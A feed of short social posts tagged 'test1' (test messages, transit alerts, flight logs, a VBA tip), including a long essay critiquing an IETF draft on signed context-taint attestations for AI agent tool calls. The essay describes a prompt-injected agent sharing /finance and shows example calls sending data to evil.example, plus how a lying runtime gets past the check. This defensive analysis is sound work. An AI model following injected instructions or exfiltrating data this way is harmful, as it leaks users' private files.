#TEST1
test1
November 19, 2026 at 9:12 PM
test1
November 19, 2026 at 6:17 PM
Hello from the Bluesky API! test1
November 15, 2026 at 10:23 AM
Test1
November 16, 2026 at 9:33 AM
PCの不調の件、拡張スロット取り外して様子見てみたけど、余計にBSODが連発するようになった

USBメモリからの起動が必要なのでmemtest86は後回しにしてたけど、重い腰を上げて試してみたら、起動すぐにtest1でエラー。test13の高負荷テストでエラー出るのはわかるけどtest1でエラー出るのは結構致命的

こりゃメモリ買い替え必至ですやん・・・
困ったなぁ
もー
64GBになっちゃうじゃんー
November 21, 2026 at 3:50 AM
🚆 Regional Rail · 3:00–4:00 AM

❌ Cancelled: 9:41 AM West Trenton → Gray 30th St Station (#TEST1)
❌ Cancelled: 10:07 AM West Trenton → 30th Street Gray (#TEST2)
❌ Cancelled: 10:30 AM Cynwyd → Suburban Station (#TEST3)

Per SEPTA's TrainView · 🔗 philly-transit-alerts.fyi
November 21, 2026 at 9:15 AM
🚆 Regional Rail · 9:00–10:00 AM

❌ Cancelled: 9:41 AM West Trenton → Gray 30th St Station (#TEST1)
🐌 16 min late: 7:40 AM Marcus Hook → Doylestown (#2512)
🐌 15 min late: 9:17 AM Doylestown → Wawa (#5319)

Per SEPTA's TrainView · 🔗 philly-transit-alerts.fyi
November 20, 2026 at 3:15 PM
AI and RVI in surgical language access examined through patient perspectives:
🎯 Context-dependent preferences
📈 AI valued for speed in urgent situations
🤝 RVI preferred for cultural nuance
https://tnyp.me/FoIETOXW/s?v=1ssajj
#Test1 #Test2 #Test3 #Test4
November 16, 2026 at 11:45 AM
ICAO: #A4ADBE

Flt: #TEST1 #N400MK #BE40
Time: 2026-11-15 17:30:38 CST
Min Alt: 22975 ft
Min Dist: 20.33 nm (96deg E)
Squawk: #0505
#adsb #planefence by kx1t sdr-e adsbexchange flightaware faa
November 15, 2026 at 11:56 PM
ICAO: #A4ADBE

Flt: #TEST1 #N400MK #BE40
Time: 2026-11-13 15:40:22 CST
Min Alt: 29950 ft
Min Dist: 39.9 nm (158deg SSE)
Squawk: #2671
#adsb #planefence by kx1t sdr-e adsbexchange flightaware faa
November 13, 2026 at 9:52 PM
Secure decentralized framework for diagnostics

🔍 Improved model accuracy
🔗 Enhanced data security
🛡️ Resistance to cyberattacks
📈 Scalable with low latency

https://tnyp.me/rMtnZQHY/s

#Test1 #Test2 #Test3 #Test4
November 13, 2026 at 9:20 AM
#ExcelVBAマクロを使いこなす 8

▶Exit Sub
実行中のルーチンを終了する。

▶Call fuga
fugaルーチンが呼び出される。
()で引数も渡せる。

▶サンプル

Sub test1()
Call test2(1)
' (~) を書かないと「引数は省略できません」のエラーになる
End Sub

Sub test2(a)
MsgBox a
End Sub
November 14, 2026 at 1:38 AM
Signing What Was in the Context Window: draft-durga-wimse-ctx-isolation and Its Self-Reported Taint
The example object in Section 3 of draft-durga-wimse-ctx-isolation-00 has five SHA-256 values in it. I hashed short strings until they matched. `parent_trace_ref` is `sha256("test")`. `system_prompt_digest` is `sha256("4")`. `step_up_receipt_hash` is `sha256("2")`. The `kid` is `sha256("test1")`. And `data_plane_merkle_root`, the field that is supposed to commit to everything the agent had read, is `sha256("")`: the hash of an empty context, sitting next to `"taint_lattice_level": "UNTRUSTED_INGESTED"`. That tells you what stage this draft is at. The problem it points at is real, though, and the shape it proposes is one somebody will standardize eventually, so it is worth reading closely now. Full notes, interop checklist and open questions: identity-deep-dive / draft-durga-wimse-ctx-isolation. ## The gap it names A workload identity token tells a relying party who is calling. An access token tells it what the caller may do. Neither says anything about what the model had just read when it decided to make the call. An agent with a perfectly valid credential that summarizes an inbox, hits a mail saying "share /finance with someone outside", and then calls `files.share` is a confused deputy with a clean token. I wrote about how much such an agent can reach on a laptop in howbad. The draft's Section 1 states this directly: neither RFC 8693 token exchange nor WIMSE Workload Identity Tokens carry a cryptographic commitment to the taint of the context window at the moment of tool selection. Its answer is to make the agent declare that taint on every tool call, sign it, and let the server refuse. Status, as of 2026-11-15 on Datatracker: revision 00, posted 2026-10-29, five pages, author from Microsoft. The header says "WIMSE / OAuth Working Group" and "Intended status: Standards Track", but Datatracker lists an individual submission with no stream, no WG state and no intended status. The author announced it on the WIMSE list on 2026-11-01 together with a companion, draft-durga-agenttrust-trace-verification-00, and asked for a five-minute lightning slot at IETF 127 if agenda time remained. No replies on the thread when I checked. ## The object Here is the Context Taint Attestation (CTA) from Section 3, verbatim: { "cta_version": "1.0", "invocation_id": "urn:uuid:7f9c2b10-44a1-49e2-910b-88a12c34e901", "parent_trace_ref": "sha256:9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08", "system_prompt_digest": "sha256:4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a", "data_plane_merkle_root": "sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", "taint_lattice_level": "UNTRUSTED_INGESTED", "tool_effect_class": "STATE_MUTATING", "step_up_receipt_hash": "sha256:d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35", "iat": 1793404800, "exp": 1793404860, "signature": { "alg": "Ed25519", "kid": "sha256:1b4f0e9851971998e732078544c96b36c3d01cedf7caa332359d6f1d83567014", "sig": "base64url(Ed25519(JCS(payload)))" } } `iat` is 2026-10-31T00:00:00Z and `exp` is exactly 60 seconds later. The taint levels come from the IANA request in Section 6: `TRUSTED_ONLY`, `MIXED_TAINT`, `UNTRUSTED_INGESTED`, `QUARANTINED`. The effect classes are never enumerated. Only `STATE_MUTATING` and `PRIVILEGED_ACTUATE` appear anywhere in the text. The interesting question for each field is not what it means but whether any rule reads it. Most don't: `parent_trace_ref` presumably points into the companion draft's trace records, but neither draft says so, and the companion calls its own link field `parent_record_hash`. ## Where it travels Section 3: every control-plane tool invocation "emitted by a conforming agent runtime MUST include" the CTA, either in an `Agent-Ctx-Isolation` HTTP header or in a `_meta.ctxIsolation` object for JSON-RPC/MCP. It is serialized with JCS (RFC 8785) or deterministic CBOR (RFC 8949). The draft has no MCP example. This is what it would look like on a `tools/call`, assuming `_meta` sits in `params` the way MCP already uses it: { "jsonrpc": "2.0", "id": 42, "method": "tools/call", "params": { "name": "files.share", "arguments": { "path": "/finance", "with": "x@evil.example" }, "_meta": { "ctxIsolation": { "cta_version": "1.0", "taint_lattice_level": "UNTRUSTED_INGESTED", "...": "..." } } } } For the HTTP header the draft gives no encoding at all. Raw JCS, base64url of it, or a Structured Field are all plausible, and none of them interoperates with the others, so sender and receiver have to agree out of band. The CTA from my lab is 721 bytes as JCS, so roughly 1 KB per call once encoded. ## The three rules Section 4 has three invariants, all applied "before any side effect is released": 1. `TAINT_LATTICE_MONOTONICITY`: once the runtime "ingests any byte from an unverified external origin", it MUST move the level from `TRUSTED_ONLY` to `MIXED_TAINT` or `UNTRUSTED_INGESTED`, and it stays there "unless a cryptographic context-reset boundary is executed". 2. `CONFUSED_DEPUTY_FAIL_CLOSED`: if the effect class is `STATE_MUTATING` or `PRIVILEGED_ACTUATE` and the level is not `TRUSTED_ONLY`, the relying party MUST reject with `ERR_TAINTED_CONTROL_PLANE` unless "a valid, unexpired step_up_receipt_hash signed by an independent policy decision engine or human verifier is attached". 3. `CONTEXT_MERKLE_BINDING`: the root MUST be computed over the ordered, JCS-canonicalized chunks of all retrieved documents and tool outputs in the active window. Section 5 adds: JCS before Ed25519 signing and verification, and fail closed with an auditable rejection receipt on clock skew over 60 seconds, digest mismatch, or a missing cryptographic binding. Put together, with everything the draft does not define marked: Notice which box holds the signing key. Section 3 has the runtime emit the CTA and names no other signer. The thing that decides the taint level is the thing that signs it. ## A verifier, built from the text I wrote a verifier that follows Sections 3 to 5 as literally as I could and marks every gap I had to fill as an assumption: cta_lab.py. Python 3.15, `cryptography` 50.0.2. ### What does `JCS(payload)` cover? The `sig` placeholder is `base64url(Ed25519(JCS(payload)))`. "payload" is not defined. I tried the three readings I'd expect people to pick: drop the `signature` member, keep `signature` with `alg` and `kid` but no `sig`, and keep it with `sig: ""`. == 3. signing input variants signer \ verifier strip alg_kid empty_sig strip ok FAIL FAIL alg_kid FAIL ok FAIL empty_sig FAIL FAIL ok Three conforming implementations, zero interop. The Abstract makes it worse: it says the profile is COSE_Sign1 plus JCS, and COSE never appears again in the body. A COSE_Sign1 implementation and a JSON-signature implementation share nothing on the wire. ### What is the Merkle tree? Rule 3 says "ordered" and "JCS-canonicalized chunks". It does not say how leaves are hashed, how odd nodes are handled, or what a chunk is. Same three chunks, two reasonable trees: == 2. data_plane_merkle_root over the same three chunks RFC 6962 style : sha256:a70d2198da5498e6... naive : sha256:8bcc1cf554ffafe5... agree : False This matters less than it looks, because the relying party never has the chunks, and rule 2 never reads the root. It is an audit commitment: useful later, if someone logged the chunks, and inert at decision time. ### What does rule 2 actually decide? == 4. relying-party decisions (literal reading of Section 4 rule 2) TRUSTED_ONLY STATE_MUTATING -> ALLOW MIXED_TAINT STATE_MUTATING -> REJECT ERR_TAINTED_CONTROL_PLANE UNTRUSTED_INGESTED PRIVILEGED_ACTUATE -> REJECT ERR_TAINTED_CONTROL_PLANE QUARANTINED STATE_MUTATING -> REJECT ERR_TAINTED_CONTROL_PLANE QUARANTINED READ_ONLY -> ALLOW UNTRUSTED_INGESTED NETWORK_EGRESS -> ALLOW UNTRUSTED_INGESTED STATE_MUTATING -> ALLOW (step-up receipt) [receipt attached] same CTA, 61 s later -> REJECT clock skew / expired `READ_ONLY` and `NETWORK_EGRESS` are my names; the draft defines neither, which is the point. The full matrix: Two cells bother me. The right column. Rule 2 guards state mutation. Exfiltration doesn't need state mutation: a `fetch_url("https://evil.example/?q=<the secret>")` is a read, as far as any effect taxonomy is concerned. In Simon Willison's lethal trifecta (private data, untrusted content, an outbound channel, which I leaned on in trust-me-bro) the CTA can see the second leg and blocks a write, but the third leg passes through any effect class nobody listed. `QUARANTINED` is registered in Section 6 and used by no rule. It gets rejected for mutating calls only because it isn't `TRUSTED_ONLY`, and it means nothing for anything else. ### The bottom row == 5. runtime with the injected mail in context signs TRUSTED_ONLY verifier says: ALLOW This is the whole design question. The runtime that read the injected mail is the runtime that decides the taint level and holds the key. If it is compromised, buggy, or simply a runtime that never implemented rule 1, it signs `TRUSTED_ONLY` and the relying party sees a valid signature. The signature proves who made the claim, not that the claim is true. The Merkle root in my lying CTA is non-empty, which an auditor could notice later if the chunks were kept, but nothing at the gate can. So in revision 00 the CTA is a signed self-report. It still has value against one specific failure: an honest runtime with a manipulated model. Taint tracking lives in the harness, not in the model's weights, and an injected instruction can't talk the harness out of having fetched a URL. That is a real improvement over trusting the model. It does nothing about a malicious or vulnerable runtime, and the draft does not say which of the two it is defending against. ### Smaller things the verifier had to guess * Which field the 60-second skew is measured on. I used `|now - iat|`. If an implementation measures against `exp`, a CTA with the example's 60-second lifetime sits on the boundary from birth. * Replay. The words "replay" and "nonce" do not appear. `invocation_id` exists, but nothing says a relying party must remember it, so the same CTA works for 60 seconds. * `kid`. No derivation, no distribution, no binding to a WIMSE identity. I used `sha256` of the raw public key, which is a guess. * The step-up receipt. The CTA carries a hash; Section 6 registers an `Agent-Step-Up-Receipt` header; nothing links the two or defines the receipt. My receipt binds to `invocation_id`, but even so it doesn't bind to the tool arguments, so an approval for `share /q3-deck with alice` also covers `share /finance with x@evil.example` under the same invocation id. "Independent" isn't defined either; a receipt signed by the runtime's own key passes unless the verifier knows otherwise. * No HTTP status or JSON-RPC error code for `ERR_TAINTED_CONTROL_PLANE`. * Section 3 allows deterministic CBOR; Section 5 requires JCS before signing. A CBOR CTA has no defined verification path. Cost isn't the problem. On my laptop: sign 40.8 µs, verify 107.3 µs, averaged over 5000 runs. ## Smaller inconsistencies * Normative references (Section 7) list only RFC 2119, 8174, 8785 and 8032. RFC 8949, RFC 8693, COSE, the WIMSE tokens and the companion draft are all cited in the text and missing from the list. * The mailing-list announcement asks for feedback on "the ctx_isolation_witness structure and Policy-Epoch AST binding (policy_manifest_sha256)". Neither name appears in revision 00 of this draft or of the companion. The mail also points to a 100-row benchmark dataset (DOI 10.57967/hf/11352) that neither draft cites. * A2A is mentioned once, in the Abstract, and never again. * Nothing composes the CTA with the WIT or WPT the Abstract names. A CTA is not bound to the workload's identity key, so a relying party can't tell that the attestation and the token came from the same workload. ## If I had to ship this tomorrow The idea that a tool server should know the taint of the context that produced a call is right, and I'd rather have a shared wire format for it than every MCP gateway inventing one. If I implemented -00 today, these are the choices I'd write down, because the draft doesn't: Gap | What I'd pick | Why ---|---|--- Signing input | JCS of the object without `signature` | Simplest; no self-referential field inside the signed bytes Merkle tree | RFC 6962 leaf/node prefixes | Domain separation; known proofs if anyone ever wants inclusion checks Unknown effect class | Treat as `STATE_MUTATING` | Fail closed is the draft's own stated posture Egress | A separate guarded class for anything that sends data out | Closes the right-hand column above Who computes taint | The gateway that brokered the fetch, not the agent process | The component that saw the bytes arrive should sign, and it should not share a key with the model's harness Receipt | Signed object over `invocation_id`, tool name, hash of arguments, `exp`, approver key | Otherwise an approval is a blank cheque for the invocation Replay | Cache `invocation_id` until `exp` | Cheap with a 60-second window Identity | Sign with the WIMSE workload key, or carry the CTA inside a WPT | Ties the claim to the same workload the token authenticates The row I'd argue about on the list is "who computes taint". As long as the signer is the agent runtime, the CTA moves trust from the model to the harness, which is worth something, and stops there. A design where the egress proxy or the MCP host labels what came in, and the relying party checks that label rather than the agent's account of it, is the version that would survive a compromised runtime. Revision 00 doesn't go there. A -01 that answers that one question would be worth more than any amount of additional fields. Related: WIMSE deep dive for the WIT/WPT this draft wants to sit beside, and the three layers of AI agent auth for where identity tokens stop and this kind of context evidence would have to start.
dev.to
November 14, 2026 at 10:42 PM
Test1
November 6, 2026 at 7:06 PM
test1
November 5, 2026 at 8:10 AM
reject discord, return to IRC. we have multiple panes and tabs here :3
November 6, 2026 at 3:13 AM
Testing the post with 3 min logn vidoe for testing purposes only test1 https://www.rfr.bz/b1d082397
November 5, 2026 at 9:15 AM
Testing the post with 3 min logn vidoe for testing purposes only test1 https://www.rfr.bz/b1d082397
November 5, 2026 at 9:15 AM
SAT模試_(1)_Test1-3_日本語解説版, SAT模試_(2)_Test4-6_日本語解説版, SAT模試_(3)_Test7-9_日本語解説版 <毎日学習会> が、Kindleストアで販売開始されました。
SAT模試_Vol3_Test7-9_日本語解説版
著者:毎日学習会(著) 出版:パブファンセルフ 2026/11/3(火)配信
5leaf.jp
November 2, 2026 at 10:18 PM
WI storm to another big win in the subcontinent as they beat BAN on the 4th day with a comfortable chase.
Great opening stand to see off any fight from BAN. King stays to finish the job himself with a 81*.

BAN will rue the opening stages of their innings on #Day3
#BANvWI #Test1
October 31, 2026 at 10:07 AM
How's everybody doing today?

https://www.science.org/doi/10.1126/science.aem3295?utm_source=hootsuite&utm_medium=test1&utm_term=test2&utm_content=test3&utm_campaign=test4
Has the next ice age already come and gone?
The last remnant of a continental glacier shows that global warming may have forestalled the next glaciation
www.science.org
October 28, 2026 at 5:31 PM
[BOT] test1
October 27, 2026 at 6:06 AM
test1
October 23, 2026 at 9:46 PM